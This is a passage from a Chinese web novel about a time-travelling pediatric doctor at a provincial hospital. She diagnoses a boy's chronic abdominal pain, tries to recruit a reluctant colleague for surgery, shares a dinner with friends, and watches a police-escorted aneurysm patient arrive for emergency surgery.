闫民怀和郤文曜也坐下。 魏联看着坐得满满当当的桌 子,他们甚至还得拉隔壁的桌子过来,都快要晕人了。 南栀不是说这会是最安静的一桌吗?! 陆随余光看向南栀,声音很怪,“有新目标了?” 南栀点头,“他还不错。” 陆随:“?&%¥#!” 南栀:“你说什么?” 陆随:“……吃饱了。” 陆随把餐盘推给南栀,“挑走你爱吃的。” 阮乔投来同情的目光。 瞧瞧他们陆医生,以为自己被“绿”,还得把南栀喜欢吃的东西留下再走。 瞧瞧! 南栀把陆随按回去,“还要上班呢,多少得吃点儿,快吃。” 骨科的几人也走了过来,“呦,这么热闹,再加个桌呗?” 桌子越摆越长。 魏联:“……” 不是说安静吗?! 儿科一个诊室有两个医生,另一个诊室只有一人。 原本南栀被分到单独的诊室,为了和魏联拉近关系,她故意和阮乔交换,坐到魏联对面。 魏联:“……” 南栀又追过来了。 但他现在没在吃东西,南栀什么也抢不到。 她到底想抢什么? 难道真要合作? 哦这不可能。 魏联说:“听诊器也不许抢!” 南栀:“……” 她开始反思自己。 她看起来……真的这么穷吗? 下午的看诊时间到,魏联开始疯狂叫号。 南栀也在叫号,不过声音盖不过魏联。 魏联的看诊方式相当粗暴,“又肚子疼?昨天疼完今天疼?检查没有异常,装的,回家做口算题去!” “熬夜了?熬夜之后发烧?怎么办?你说怎么办?以后别熬夜!” “你的意思是,孩子上个月掉水里,导致今天开始发烧?你怎么不说他被羊水冻着了?去年有没有碰水是不是也得查一查?” 家长们要么生气,要么更生气。 区别是大部分都在生窝囊气,小部分跑去找其他医生告状。 明天这些事又会传到尚延耳朵里,尚延又要在早会上痛批魏联。 南栀默默摇头。 科室人多也不太好,规矩更多,要开的会都变多了。 尤其是这种教训医生的会议,实在浪费时间,领导还不允许请假。 稍微空闲些,南栀提议道:“明天早上你自己去见尚主任好不好,别麻烦主任过来了。” 魏联冷笑,“休想逃走。” 南栀:“……” 她试图和魏联讲道理,“尚主任骂人,真的很浪费时间,而且你看病明明很认真,为什么不能好好说呢。” “好好说他们就能听?一看你当医生的时间就短,不知道胡搅蛮缠的患者家属有多讨厌。” 南栀道:“可也不是每一个家属都不讲理呀。” “讲理的才不会在意。” 南栀乍一听觉得很有道理,仔细想又觉得不太对,“谁会挨骂还不在意??如果没做错什么,被骂一顿,肯定会不开心呀。” 魏联冷哼,“反正我能帮他把孩子的病看好。” “是能看好,可如果给大家一个看医生很受气的印象,以后他们越来越不愿意来医院怎么办?来医院就要挨骂,就要接受医生的暴躁,越来越不想来?” 魏联沉默。 好一会儿他才说:“行吧,以后只骂胡搅蛮缠的。” 南栀说:“我帮你骂。” “免了,”魏联严肃道,“禁止拉近关系!” 南栀:“……” 还真是很提防她呢。 诊室很快又进来新的患儿。 南栀运气不错,没遇到情况复杂的病人。 魏联的运气就没那么好了,刚进来的男孩一坐下,他就发现不对劲。 “脸色很差,什么症状?” 男孩的妈妈高秋华说道:“肚子疼,疼了蛮久了。” 魏联问:“具体是哪里疼?” 丁拓指了指肚子。 魏联:“中上腹,是怎么疼?刺痛?持续多久?上次是什么时候疼的?” 丁拓已经十岁,可以回答一部分问题,“两年了。” 魏联重复,“两年?” 高秋华掀开丁拓的衣服,“您看,去年他就一直说肚子疼,我带他去恩德医院看的病,医生说是急性阑尾炎,还有先天性卵黄管畸形,做过手术。” 魏联看到手术留下的疤痕。 南栀一听到手术便看了过来。 手术耶! 不对,这是患者的苦难,不能高兴…… 但这是手术耶!! 高秋华把病历交给魏联。 魏联翻开后说道:“阑尾切除术,脐尿管切除术,肠粘连松解术,都做了,但出院后仍然肚子疼?” 高秋华无奈道:“我们实在没办法了,看过很多医生,但都没有结论,也不知道该怎么治。” “别着急,”魏联摘下听诊器,“先做检查。” 丁拓的精神不错,血压偏低,心肺都没问题。 魏联给丁拓开了一些检查。 高秋华看起来已经不太相信医院的检查,她看着单子愣神,“医生,能查出来吗?” 魏联道:“我无法保证什么,只能尽力去查,现在的医疗设备也就这样吧。不过丁拓属于慢性腹痛,反复发作长达两年,儿童三分之二的慢性腹痛都是功能性腹痛,功能性腹痛的病因还不明确,器质性腹痛就和肠胃肝胆都有关了,比如急慢性胃炎、十二指肠溃疡、胃套叠等等,还有肠梗阻、阑尾炎、肝炎……你们已经做过不少检查,现在知道不是阑尾的问题,咱们还是要慢慢排查原因。” 高秋华这才点点头,拉着丁拓去做检查。 魏联没有立刻叫下一位,而是拿出书疯狂地翻找。 南栀问:“你在找什么?” “丁拓的病因,如果一项一项排查,需要交很多费用,我看他们家条件一般,最好能定位到其中几项。” 南栀惊讶道:“你偶尔会当好人诶。” 会帮患者省钱呢。 魏联:“……” 不会说话就不要说了。 南栀说道:“就像你刚才说的,胃、十二指肠类疾病,肠道疾病,肝胆胰腺疾病,脾疾病,泌尿生殖系统疾病,还有肠系膜淋巴结增生、乳糖不耐受,全身性或者腹外疾病,比如肺炎、心包炎、糖尿病酮症酸中毒,功能性的腹痛也可能是肠易激综合征、功能性消化不良、腹型偏头痛,只看书,能排除什么?” 魏联:“……” 魏联惊讶道:“你看过书啊?!” 南栀:“……我是医生。” 魏联说:“你是庸医啊。” 南栀:“……” 好笃定的口吻,南栀都要怀疑自己了。 南栀朝魏联伸手,“把他的病历本给我看看。” 魏联半信半疑地交给南栀,” 你能看得懂?” 南栀:“……” 她好奇道:“在你们心目中,我到底是什么形象?” 魏联评价道:“比邢小谷还差。” 南栀:“……” “邢小谷是靠关系进的医院,什么都不会,经常出错。” 南栀:“……” 她在他们眼中,经验是这样的水平吗? 魏联说:“邢小谷是医科大学的毕业生,虽然学校一般,但也是大学生。而你,连大学都没读过。” 南栀:“……” 原来她比邢小谷还不如。 南栀叹气,她翻开病历本说道:“白细胞很高,做过抗感染治疗,没有好转,用过甲强龙静脉滴注抗炎,症状有好转,出院后泼尼松口服。” 她思索道:“炎症很高啊。” 魏联道:“炎症高的原因可太多了,你能缩小范围?” 南栀说:“其实有很多问题,都可以归结为基因的问题。” 魏联挑眉。 南栀惋惜道:“可惜现在还不能测基因。” 魏联评价道:“哦,其实就是你不懂,瞎说的。” 南栀:“……” 魏联把南栀赶走,“别耽误我工作,一边玩去。” 南栀:“……” 真想给魏联开一刀啊。 丁拓要做的检查比较多,一直到下午门诊快结束,她才拿着所有结果赶到门诊。 魏联难得没提前准备下班,一直等着他们。 南栀这边差不多了,没什么患者,便坐在一旁看。 魏联先看胃十二指肠镜和结肠镜的检查结果,“这两个倒是没什么问题。” 他又翻出另一张报告单,“腹痛发作时,白介素-6、白细胞、中性粒细胞都很高啊。” 高秋华问:“这能说明什么?” “身体有炎症。” 高秋华:“……其他医院也是这样说,但是我儿子好好的,为什么会有炎症?” 魏联一时也说不清楚。 高秋华有些失望,“不好意思医生,我想打听一下,你们这里有没有一个治过克罗恩病的医生?” 魏联:“恩?” 高秋华不好意思道:“其实是其他医院的医生推荐我过来的,说这边可能有经验,不过他不记得具体是哪位医生。” 魏联是从其他城市过来的,不太了解从前的康宁医院,“克罗恩病吗?这病现在科普挺多的,大医院的医生应该都能看。” “不不,”高秋华解释道,“医生说了,咱临川市是小地方,和大城市不一样,以前大家都没有这方面的经验,是这位医生最先提出来的,然后大家才开始重视克罗恩病。” 魏联惊讶道:“原来我老家是大城市?” 还是他太聪明太努力,所以才知道? 魏联说:“我不知道你说的是谁,听你的意思,应该挺牛,但我们儿科以前嘛……” 好像只有盛昭云一个台柱子,其他人都是后来的。 魏联笃定道:“你可能听错了,肯定不是我们医院的。” 南栀朝魏联招手,“魏医生,打扰一下……” 魏联:“你别插话。” 南栀:“我是想说……” 魏联:“我在工作!” 南栀:“……” 她走到高秋华旁边,指了指自己。 高秋华:“?” 魏联不满道:“你平时邪恶就算了,能不能不要在我工作时打扰我?你……” 南栀说:“你们要找的人是我,跟我过来吧。” 魏联:“你……” 怎么还直接抢人的?! 他明白了,全都明白了! 南栀阴阳怪气一整天,不是为了抢肉,她是要抢病人!! 终归是动手抢了!! 南栀自我介绍道:“我姓南,有过治疗克罗恩病的经验,恩德医院的金瑞医生应该比较了解。” 高秋华眼睛瞬间闪闪发亮,“就是金医生推荐的!” 南栀道:“丁拓的症状不太明显,也没有反复发热,但仍然可以考虑自身炎症性疾病。” 高秋华茫然地看着南栀。 “简单来说就是孩子的某段基因发生突变,他的自身免疫系统出现问题。普通的感冒,免疫系统是在对抗外来的病毒。自身炎症呢,没有来自外部的敌人,是他的身体处在高度紧张的状态,反应过激。” 高秋华只读过高中,不懂什么基因问题,但能听懂南栀的解释。 “您的意思是说,他的身体认为来敌人了,所以一直在工作?” “差不多,”南栀说,“我看了病历,控制炎症时腹痛有缓解,停药就复发,是骂?” 高秋华点头。 南栀又问:“有过口腔溃疡、胃肠道溃疡吗?” “口腔溃疡……复发过好几次。” “有关节炎吗?” 高秋华惊奇道:“喊过疼。” “荨麻疹?” “!!你!” 魏联茫然地看着高秋华。 高秋华:“你是神医啊!!” 魏联:“……” 啊?【魔蝎小说 mo xie xs .c om】 90-100 第91章 第91章动脉瘤 在南栀曾学过的知识中,TNFAIP3基因突变致使其编码蛋白A20对核因子kB通路的负调节作用减弱,导致核因子kB通路介导的促炎细胞因子表达增多,最终表现为HA20. 可以表现为溃疡、反复发热等全身炎症反应。 可惜现在无法做全外显子基因测序,不能有明确的诊断。 “所有检查中,粪钙卫蛋白明显增高,腹痛时白细胞、C-反应蛋白、白介素-6都有不同程度的增高,抗体、血液、胃肠镜、腹部CT等都没有问题,平时又有反复的口腔溃疡,静脉滴注抗炎腹痛明显好转,可以考虑是自身免疫性疾病。” 高秋华问:“还能治吗?” 南栀道:“以现在的医疗水平,恐怕无法根治,目前能做的就是抗炎,阻止身体传播发炎信号,如果引起其他疾病,再做适当的治疗。” 高秋华忧心忡忡地看着丁拓。 南栀安慰道:“别太担心,先解决腹部疼痛的问题,以后会有治疗方案的。” 高秋华叹口气,“您说得对,两年了,我现在没有其他想法,只要能保住这条命,怎么都行。” 哪怕她要一辈子照顾丁拓,都没问题。 南栀给高秋华开了药,“先观察一周,如果疼痛不能缓解,及时过来,我们再开会讨论,都没问题。” 高秋华再三道谢后,带着丁拓离开。 魏联神色凝重地看着南栀。 南栀:“怎么了?” 魏联问:“她说的那个治疗克罗恩病的医生就是你?” 南栀点头。 “你们市内没有发现此类病,你是第一个发现的?” 南栀说:“只是没人意识到这是克罗恩病,但不代表我是第一个发现的,而且就算不知道,也是可能治好的呀。” 魏联:“……你倒是不抢功。” 南栀:“说明我人好嘛。” 魏联:“也不太要脸。” 魏联重新打量南栀。 南栀,出身野鸡培训班,没学历没文化没知识。 靠美色诱惑陆嘉述教授的孙子,而该男子的定力十分差,南栀计谋成功,甚至还能去首都“镀金”。 这就是南栀现在的人设。 没人和魏联说过南栀在康宁医院时是什么样的。 盛昭云倒是提过,但好像没人放在心上。 魏联问:“你能确定他是自身免疫性疾病?你说的这种病,我不太了解。” 南栀:“正常的,现在对基因的研究相对来说比较少,主要是出的结果太少。” 可惜她没有深入研究过。 魏联说:“我以为所谓的克罗恩病,和高医生有关。” 魏联对康宁医院的了解很有限,他同意来康宁医院的原因非常简单——工资高了。 他只听说过有个曾经在顶尖期刊发表论文的高医生在儿科,他还曾去问过祁念珍,祁念珍说高医生已经离职。 魏联记得高医生的论文就和克罗恩病有关,怎么变成南栀了? 南栀:“……” 她故作深沉,“他应该……想隐姓埋名吧?” 魏联:“?” 好在他已经习惯南栀的疯言疯语。 魏联问:“你说的合作,是合作什么?” 南栀心中雀跃,做人果然还是要展示实力,就应该把韦宁雨的头打爆!! “手术!”南栀说,“其实我在首都是跟着舒映阶教授学习的,她是小儿神外的医生,我一直在跟着她做手术。咱们这边基本上没有小儿外科,但是孩子也得做手术嘛,我们很缺人!” 魏联的脸色忽然变了,他猛地起身,冷淡道:“和我无关,找别人。” 他说完便转过身,只留给南栀冷漠的背影。 南栀说:“还有十分钟才下班。” 魏联:“……” 南栀:“我要和主任举报你。” 魏联:“!!” * 早上尚主任带着人去查房。 南栀第一次见到传说中的卢主任卢含娇。 卢含娇已经快四十岁,留着短发、戴眼镜,打扮得 一丝不苟,甚至有些古板。 她不太喜欢笑,查房整个过程几乎没说过话。 盛昭云漫不经心跟在二人身后,虽然站位不靠前,但依然走出了老大的架势,这气势是他们尚主任盖不住的。 阮乔抱怨道:“你的门诊排的时间比我都多,咱们是不是多开几个门诊?” 阮乔有一种被抢活的感觉。 副主任医师,不用天天都出门诊嘛。 盛昭云道:“这是我的工作。” 阮乔说:“你跟着南栀混多好,祁院长让她拉个手术团队出来呢。” “手术我可没兴趣,如果有兴趣,我早就去了。” 盛昭云的性格和实力,确实不会耽误时间。 阮乔叹气。 帮南栀拉人计划再次失败。 也不奇怪,现在一门心思跟着南栀上台的估计只有阮乔一个人。 她就是纯纯想跟着南栀混,本身也不是外科医生。 不过临川缺人嘛,草台班子也是班子。 南栀回来后还没来过病房,她的心思全在魏联身上。 魏联是外科的,说明他曾对外科感兴趣,可毕业后却成为儿科医生,为什么? 南栀以为他们起码能聊聊,结果魏联一听到外科就变脸,根本不给她说话的机会。 南栀偷偷靠近魏联,“魏医生,你好,我们……” 魏联加快脚步。 南栀:“……” 她尽量不让自己太黏人,“你起码给我一个理由让我放弃,对不对?” 魏联说:“我不想和你一起草菅人命。” “我怎么会草菅人命?”南栀震惊,“该学的我都学了,不信你去撞个墙,我保证把你的头修好。” 魏联:“……” 他笑容僵硬地向南栀道谢,“谢谢你,下次别说了。” “魏大医生,你有顾虑可以告诉我。” 魏联:“我说了是因为你……” 南栀:“这不是顾虑,我很行。” 魏联:“……” 有时候和聪明人说话不太好,总会被对方看穿。 等等,他为什么会承认南栀是聪明人?! 魏联加快脚步向前走去,看他的样子,是不打算和南栀有任何瓜葛。 南栀看了他一会儿,高声说:“小魏,怎么跑主任前面去了,注意态~度~” 所有人都看向魏联。 尚延的目光最为诧异。 啥意思,昨天和患者家属吵架,今天要把儿科直接掀了? 魏联:“……” 她才是小魏!她全家都是小魏!! 阮乔低声道:“栀栀变坏了。” 盛昭云说:“我喜欢。” 阮乔:“我也是。” 按照惯例,查房一般都跟着一大帮医生,包括住院医生和实习生。 尚延作为主任,有帮助每个医生快速成长的责任,对每个床的病人都很关注,随口便能说出他们的症状和检查报告上的数值。 南栀工作经验不多,不太清楚,但盛昭云知道,尚延这种主任其实挺难得,所以就算尚延唠叨又喜欢发脾气,她一般不会驳主任的面子。 尚延唠叨时,南栀在专心致志地思考魏联为什么连一个理由都不愿意给。 如果魏联正常地拒绝南栀,南栀可以理解,不是每个人都愿意做手术。 但魏联的拒绝显然不正常。 不正常,就是有隐情。 走廊前方忽然传来一声尖叫,南栀愣住。 几个医生好奇地看过去,两个小孩风一样地跑过去。 阮乔和盛昭云习以为常。 邢小谷头疼道:“我以前真不知道儿科的患者住院都能保持活泼。” 玩闹的、哭喊的,还有经常唱二重奏的。 魏联冷笑,“可不是每个儿科都这样。” 南栀错愕了好一会儿,才被阮乔拉回现实,“咋啦,刚刚跑过去的是井珧,你忘记了?” 南栀:“……” !!,她在小儿神外的日子过得太舒心,都忘了他们康宁医院儿科住院部的传统! 不是,到底是谁总喜欢在住院时疯玩啊?! 儿科,狗都不来。 阮乔问:“小儿神外的患者不会这样吗?” 南栀:“每个人头上挨一刀,谁吵?” 难受时倒是会哭喊,但一想到孩子的病,南栀也只有心疼了。 阮乔说:“他们可真没活力。” 南栀:“……” 应该只有康宁医院的儿科是这样的。 还好卢思萌不在,不然她非得和井珧来一个双排。 等等,现在跟着井珧跑的人是谁?! 阮乔幽幽道:“这个井珧好像有魔力,跟谁都能玩得起来,我希望他能健康一辈子。” 这是阮乔最真切的祝愿。 然而并不能成功。 尚延把大队伍带进病房。 病房里现在基本上都是肠胃病和感冒发烧的孩子。 如果有其他疾病,譬如心脏问题、肝脏问题,都会转到相应的科室。 尚延习惯性地讲解每个孩子的情况,阮乔认真做笔记。 尚主任的讲解其实没有南栀讲得清楚,但他说得很详细,很值得学习。 尚延看到阮乔状态,很满意。 接着他又看向南栀和邢小谷。 一个皱眉盯着魏联,另一个偷偷摸摸掏出指甲油。 指甲油,百货大楼买的,可新奇了。 尚延又头疼了。 按理说他不用管这俩走后门的,尤其是邢小谷,根本没有认真的态度,估计只想混日子。 至于南栀,好像还有点儿救,但人家陆教授都没说什么,他能怎么办? 说南栀不行,得罪陆教授? 尚延只希望以后不会再遇到走后门的下属。 他 问:“我听说昨天来了一个腹痛患儿?为腹痛患儿做检查,应该注意病史,比如腹痛的部位和性质,是突然出现的,还是逐渐加剧,是持续性还是间歇性的,病后疼痛部位是否有转移……” 南栀虽然有心事,但也在听尚延说话。 尚延说的内容和她借的课本几乎一字不差。 尚延说完,又问:“魏联,人怎么没留下住院?” 魏联说:“这得问小南。” 他趾高气扬地看向南栀,“小南,解释解释。” 阮乔心里警铃大作,“干嘛,甩锅啊?” 此时的魏联:终于报了小魏的仇! 尚延问:“这不是你的病人?” 南栀解释道:“我判断丁拓是自身免疫性疾病,给他开了药,让他们回家观察。” 尚延蹙眉,“自身免疫性疾病?” 魏联插嘴道:“就是免疫系统出问题了,总觉得有人想害它。” 尚延不动声色道:“我从来没听说过这种病。” 南栀:“……” 这是很久以后才被提出的病吗?? 魏联看向尚延,尚延摆摆手,示意他安静。 南栀试图证明自己不是胡说,她绞尽脑汁道:“系统性红斑狼疮,您肯定知道吧?” 尚延缓缓点头。 他有些看不懂这位走后门的同志。 如果她和邢小谷一样,尚延还能理解,最多只让她做点儿简单工作,然后自己偷偷回家生气,反正得罪人的事他也不能干,他又没背景。 但偏偏这位后门同志总是一副自己很懂的样子。 尚延的脑中回想过南栀所有学历,都没想明白后门同志的底气在哪里。 总不能说她在大桑村的医科大学旁听吧?深山老林能有小学就不错了。 南栀还在试图完美地解释又不至于被怀疑,“您看啊,免疫性疾病就是这样的,免疫系统将自身抗体识别为潜在威胁,适应性免疫反应或者固有免疫反应被激活,系统性红斑狼疮就是其中一种。” 尚延问:“还有其他种?” “可以分为器官特异性疾病,系统性或全身性疾病。器官特异性疾病,比如1型糖尿病,或者银屑病,比较常见。系统性疾病,就像我刚才说的红斑狼疮,还有类风湿性关节炎。这类病有遗传因素,也和环境有关。” 尚延默不作声。 这是后门? 阮乔在疯狂记笔记,“好像学过,好像又没学过……不管了先记下来。” 南栀又说:“我在课本里看到过的,有些免疫缺陷和免疫有关的疾病。分成了原发性免疫缺陷病,泛指先天或遗传性免疫功能缺乏,比如B细胞功能和T细胞功能免疫缺陷,还有……” 南栀有点儿累。 她不仅要学后世的医学内容,还要学习现在的医学内容,以免被当成神经病。 南栀所说的疾病目前都存在,但对病因的研究不如后世,比如系统性红斑狼疮在现在还是临床表现复杂、容易漏诊、病情发展迅速,可能短期内死亡的疾病。 尚延不动声色道:“你对丁拓的诊断依据是什么?” 南栀:“根据他两年来的病历,所有检查结果,先开了泼尼松。这类疾病目前没有完全治愈的可能,只能做抗炎治疗,避免环境对病情的影响。可以来做自身抗体筛查来确定……咱们应该还没办法靶向清楚自身反应性B细胞?” 南栀叹气:“如果能查基因就更好了,可能遗传。” 尚延说:“谁说的不能查基因?” 南栀:“?!,可以查?” 尚延:“……可以检查出致病基因携带者,给予遗传指导。” 不知为何,尚延隐约感觉到南栀说的基因检查和他理解的不是一回事。 南栀:“那也行啊!等等,我明明看过自身免疫性疾病的论文,78年的,军区医院发表的,内容整理得很详细,只不过对于分类还缺乏统一的方法,论文里应该是分成了原发**官特异的自身免疫病、原发性非器官特异的自身免疫病还有继发**官特异性的自身免疫病?” 尚延说:“巧了,我也看过。” 南栀:“……” ??! 这是给她考试呢? 尚延十分淡定,“联系丁拓的父母,得好好查查,如果基因有问题,生孩子就得慎重考虑。” 他看向南栀,“至于你……你的排班是怎么回事?多排几天门诊,别偷懒。” 南栀:“……” 啊? 魏联冷哼道:“让你表现,活该。” 南栀:“尚主任,昨天小魏又和家长吵架!我都看到了!” 魏联:“……” “&%¥#闭嘴!” * 南栀拐弯抹角追问魏联整整两天,这家伙都没松口,坚决不同意上手术台,至于原因,那是一个字都不肯透露。 魏联不是临川市人,也不是在临川市念的大学,想打听都没地方。 陆随家,南栀瘫在沙发上,韦宁雨在快乐地挑红酒。 红酒是陆嘉述的,陆教授年轻时喜欢小酌两杯,年纪大了也会偷喝,陆敬玮管得很严,母女俩常年为此吵架。 阮乔和盛昭云在帮陆随准备晚餐,不过…… 厨房的箫珵忍无可忍地吼道:“你们到底是来帮忙还是添乱的?!” 正切黄瓜丝的陆随:“帮忙的啊。” 箫珵捡起直径超过五毫米的黄瓜丝,“你擅长切条?!” 他又抓起阮乔洗的菜,“上面还有土?” 阮乔义正词严道:“我是家里的小花朵,我们家不用我做饭。” 盛昭云说:“能吃就行,别太挑。” 箫珵:“……” 真想把这帮人都踢出去! 陆随几人被赶出厨房。 陆随说:“箫珵就是在古板。” 阮乔:“唉,萧医生太让我失望了,脾气不好。” 盛昭云:“其实吧,这件事……” 箫珵:“你们!只有吃的时候允许张嘴!!” 阮乔把南栀拉起来,靠在她肩膀上,“你快管管萧医生,他只听你的。” 南栀老老实实道:“我也不会做饭。” “我看陆医生也不太行,你俩如果结婚了,谁做饭啊?” 南栀看向陆随。 陆随:“……我只是刀工一般。” 吃的东西,只要可以吃就行了。 南栀说:“那我干脆找厨师结婚好了,这也是个用处嘛。” 每天都能吃到五星级大厨做的饭,想想都开心。 反正让她学做饭那是不可能的。 陆随:“……” 阮乔冲着陆随坏笑。 盛昭云问:“还不去?” 陆随:“……” 他憋屈地起身去厨房。 学就学!谁怕了! “魏联就是不想谈上台的问题,”南栀说,“我什么时候才能凑够人?要么和神外商量商量吧?好几天没摸颅骨,我手都生了。” 阮乔指向韦宁雨,“我帮你开个瓢。” 韦宁雨抱着红酒走过来,“我说这几天怎么头疼,原来是你在打我的主意。” 南栀问:“还有其他人可以拉拢吗?” “原来你这几天在拉拢魏联?” 韦宁雨每天都能看到南栀和魏联坐在一起吃午饭,然后陆随臭着脸离开。 南栀点头,可怜巴巴道:“我已经把好话说尽了,他就是不理我。” 韦宁雨:“你说的好话是指……和主任告状?” 阮乔:“何止是告状,现在全科室都管魏医生叫小魏。” 韦宁雨赞叹道:“有南栀在,不愁世界大战太远。” 南栀:“……” 她明明是很用心地在拉拢。 箫珵和陆随准备了八菜一汤。 其中有一个凉菜,熟食是直接买的,不过箫珵的手艺还是可圈可点。 “萧医生可以啊,手艺不错。” 箫珵说:“寄人篱下,得乖巧点儿,你不懂。” 箫珵是被托付了,虽然他们对他很好,但始终不是亲生父母,箫珵不但仗着人家善良胡作非为,总是尽可能地做家务,减轻他们的负担。 南栀心疼道:“以后就不用想啦。” 陆随故意咳了一声。 箫珵说:“哦对,这顿饭陆随也有出力。” 陆随牵唇微笑。 箫珵:“他主要负责在厨房吸油烟,只有我一个人,还真会被熏死。” 陆随:“……,西红柿炒鸡蛋是我做的。” 箫珵:“呵呵,还好你说明白了,不然我担心大家看到西红柿炒鸡蛋后质疑我的厨艺。” 陆随:“……” 西红柿炒鸡蛋的卖相是比较一般。 南栀夹起一块鸡蛋,“好吃的诶。” 陆随再次弯起唇,“真的?” “还不错,我喜欢吃酸甜口的。” 阮乔不信邪,夹了一块鸡蛋。 …… 算了,还是让他俩结婚吧。 陆嘉述已经前往首都,她和舒映阶、王敏三人是多年老友,在舒映阶生命的最后阶段,她决定去陪陪老朋友。 朋友对陆嘉述来说,和家人同等重要,尤其是志趣相投的朋友,可能更珍贵。 陆敬玮负责送陆嘉述去首都,她本身也在首都工作,短时间内不会再回来。 陆家现在只有陆随一人,所以他们才跑来陆家玩。 韦宁雨喜欢喝点儿小酒,征得陆教授的同意后,几个人开了两瓶红酒。 据陆敬玮说,陆嘉述是这样同意的:“动我的酒??那都是我要喝的!!去动我的酒??” 韦宁雨:“动就动。” 当然这是陆敬玮的意思,她可不想亲妈一大把年纪还去小酌。 明明自己就是医生,知道喝酒对心血管的危害,还不注意。 两瓶红酒喝完,韦宁雨才开胃,南栀喝了一整杯,脑袋晕乎乎的。 箫珵准备送南栀回家。 盛昭云不知道他们的关系,虽然他们以兄妹相称,但很明显南和萧是两个不同的姓。 盛昭云:“……你也同意?” 她问的是陆随。 陆随道:“或者南栀留下。” 箫珵立刻说:“做梦!休想!别以为我不知道你在想什么!” 陆随耸肩:“你看。” 盛昭云:“……” 倒反天罡。 韦宁雨比较直白:“人家南栀和陆随本来就要结婚了,你去送算怎么回事?让陆随先送人再跑也不太好,反正这里房间多,南栀就留下呗,明天还能和陆医生一起上班。” 陆随倒是没意见,箫珵不同意。 男人能信吗? 不能。 虽然他希望南栀能 愉快地恋爱,可他的目的是让南栀忘记过去,不是便宜该死的陆随! 韦宁雨说:“我听说最近有杀人案,晚上不安全,要不我们一起,先把女生送回家。” 所有人都赞成。 南栀问:“临川经常有凶杀案吗?” 来这里没一年,她已经听过很多案子了。 “没办法,治安不好,现在抢劫犯挺多的,你们逛街都得小心。” 阮乔说:“临川市还算不错的,你们知道龙星岗吗?西南方向的小城镇,听说那边超乱,三步一具尸体。” 韦宁雨敲了一下阮乔的头,“危言耸听!” 阮乔:“我说的可都是真的,听说还有人碎尸。” 盛昭云看向窗外。 夜色已深,冬天的临川市几乎没有绿植,只有枯树枝。 盛昭云说:“你再说下去,一会儿没人敢回家了。” 陆随终于开口,“要不你们就……都留下?” 会享受的陆教授拥有一栋小别墅,足够他们住了。 几人顺势倒在不同的沙发上,“早说!” 陆随:“……” 怪他招待不周了。 第二天六个人一起上班,场景颇为壮观。 他们都是骑自行车去陆随家的,晚上下班还得用自行车,早上也得骑车去医院。 这种情况下,他们当然不允许陆随一个人享受汽车,陆随被迫去骑陆教授十年前的自行车,刹车坏了一半。 箫珵安慰道:“虽然你的刹车不太好用,不过车也丑。” 阮乔:“虽然车丑,但车座也硬。” 盛昭云:“陆教授怎么会买这种自行车……” 陆随的脸色沉了又沉。 只有南栀没嫌弃他,“能骑就行,车不错,和你挺配的。” 陆随:“……” 谢谢,但她最好别说话了。 医院有停车棚。 六人赶到时,正好看到三辆警车往医院里开,警车停在医院门口,最后一辆车下来五名穿警服的警察,分别站在门的两侧。 前两辆警车的门同时打开,医院急救中心的医护人员负责接应,一个患者被转移到平推车上送进急救中心。 韦宁雨道:“哎哟,一来就看到大场面。” 箫珵说:“猜猜急诊一会儿会给哪个科室打电话。” 阮乔道:“反正不是儿科。” 几人放好自行车往医院走。 南栀跟着陆随去了心外。 “儿科还是不行,咱们的三甲医院,儿科还要细分消化、心脏、肠胃,但是我们都没有,更别说小儿外科。” 陆随道:“所以需要南医生多多努力。” 南栀说:“努力太累了,我去你们科室看看,万一有能用的人呢?” 她可不只缺助手,还缺麻醉、巡回护士、器械护士…… 陆随:“……” 他只看到南栀脸上有四个字:我要抢人。 陆随说:“护士都好说,关键在于,有没有人能和你一起给孩子做手术,别忘了咱们还没有小儿外科,院长能为你一个人单独开一个科室吗?哪怕只是小儿神外。” 南栀盯着陆随的手看。 陆随:“……,我只做过心外科的手术。” 南栀惋惜道:“做不做过不重要,如果你不喜欢心外科,我一定得把你拉过来。” “谢谢,但我很喜欢。” 南栀缓缓叹气。 箫珵刚到就被主任拎走,陆随还没坐下,办公室的电话就响了起来。 陆随拿起话筒,听了几句,脸色微变。 挂断电话后,陆随起身说道:“刚刚送过来的患者动脉瘤破裂,情况紧急,需要手术。” 郤文曜现在给陆随做助手,“我去安排手术室。” 南栀羡慕地看着。 瞧瞧人家心外,说做手术立刻就有团队。 南栀跟着陆随溜达到手术室门口。 按照惯例,术前要先找家属签字,但现在手术室外都是警察。 全部都是穿警服的警察,警服还是军绿色的,南栀依稀能看到他们腰间都别着枪。 现在治安差,部分警种都是日日夜夜带着枪的,晚上还会把枪压在枕头下面睡觉。 南栀震惊道:“这是什么人,这么大阵仗?” 陆随道:“不太清楚,你回儿科去。” 他直觉这次的病人身份不简单。 罗鸣走过来,伸出手,“医生你好。” 陆随微微点头。 罗鸣说:“我们去过其他医院,那边的意思是,病人的动脉瘤直径有八厘米,他们没法开刀,临川市可能只有陆医生可以做这个手术。” “八厘米?!”南栀拉住陆随,“这不行吧?” 别说是现在,就算是三十年后,这种手术都是极为复杂的手术,成功率不高,没医生愿意去做的。 陆随问:“换作是病人有巨大脑瘤,八厘米,这个手术你做妈吗?” 南栀:“我已经做过啦。” 陆随:“?” 南栀纠正道:“而且我做的是十厘米的。” 陆随:“……” 哈哈,气人。 “但这不一样,儿研所的设备优于康宁,而且我看过主动脉夹层动脉瘤的论文,从78年到现在,即便是普通大小的动脉瘤,也很少有成功的病例,绝大多数病例甚至没能查出病因,是死后尸检才知道的。现在能知道他是动脉瘤,就已经很幸运。” 陆随道:“没什么不一样,做了可能会死,不做一定死,没有选择。如果害怕手术失败,还怎么完成手术?” 南栀不假思索道:“我不怕失败,但我怕你……” 陆随:“怕我?” 南栀拧起眉,她就是觉得不太好。 “算了 ,你要做就做吧,除了你和我哥,确实没人敢做。你不要有心理压力,科技限制,没办法,你们能成功做主动脉夹层手术已经很厉害了。” 南栀尽量忽视她看过的手术失败的论文,但尸检二字还是不断地冒出来。 因为缺少最突出的临床症状——胸痛,没能查出是动脉瘤的。 有行Debakeg术法但仍死亡的。 成功的手术病例很少,起码南栀在已发表的论文上没能看到太多。 陆随扬眉看着南栀,“关心工具人?” 南栀:“什么工具人?” “没事。” 陆随心情不错,他叫来急诊的医护,听病人的情况。 “病人血压左上肢180/106mmHg,右上肢106/100mmHg,右上肢桡动脉及肱动脉搏动减弱,左上肢及两侧颈动脉、两下肢颈动脉搏动正常,心率……” 心电图显示左室肥大。 X线检查可见主动脉阴影呈单侧或双侧增宽……数字减影血管造影可分辨内膜撕裂。 光是听着这一串检查结果和数值,南栀都知道想把人救回来需要神仙下凡。 